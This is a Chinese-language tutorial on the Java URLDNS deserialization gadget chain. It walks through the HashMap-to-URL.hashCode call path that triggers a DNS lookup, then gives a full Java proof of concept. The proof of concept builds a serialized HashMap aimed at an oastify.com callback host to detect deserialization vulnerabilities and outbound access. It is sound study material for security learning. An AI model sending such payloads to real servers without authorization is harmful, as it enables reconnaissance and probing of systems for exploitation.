URLDNS链

URLDNS链是一个常见的Java反序列化利用链,通常利用该链来探测是否存在反序列化漏洞/探测能否出网

当服务器存在反序列化漏洞时,传入后发起dns请求


原理

HashMap重写了readObject,反序列化时会调用hash()来计算hashCode,而Java的URL类在计算hashCode时会调用getHostAddress来进行域名解析,发送DNS请求。

URL类实现了Serializable接口


思路解析

要反序列化的对象是hashMap,查看他的readObject()
readObject()

发现putVal(),跟进他的hash()

key!=0,返回key的hashCode(),若key为URL对象->调用URL的hashCode()
URL的hashCode()
hashCode==-1时执行handler.hashCode()
跟进hashCode()
发现getHostAddress() -> 发送DNS请求

Gadget Chain:

1
HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() -> URL.hashCode() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress()

所以当hashCode==-1时,执行

HashMap
为了确保键的唯一,hashMap.put()中已经调用了hash()方法
跟进put()
跟进hash(),有hashCode
所以在hashMap.put()时就已经发起了一个DNS请求
在URL类中hashCode初始值为-1,put后hashCode值改变不为-1,后面反序列化也不会发送dns请求

为了避免上述情况,需要在put后通过反射修改hashCode的值为-1

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializeTest {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();
//这里不发送请求,把url对象的hashCode改为不是-1
URL url = new URL("http://ceuuqevw4tue5zuros4d9d3sjjpbd31s.oastify.com");

Class c = url.getClass();
Field hashCodefield = c.getDeclaredField("hashCode");
hashCodefield.setAccessible(true);
hashCodefield.set(url,520);
hashMap.put(url,1);
hashCodefield.set(url,-1);
//将hashCode改回-1
serialize(hashMap); //反序列化时需要hashcode=-1
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
System.out.println(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

class Person implements Serializable {
String name;
int age;

public Person() {
}

public Person(String name, int age) {
this.name = name;
this.age = age;
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}

成功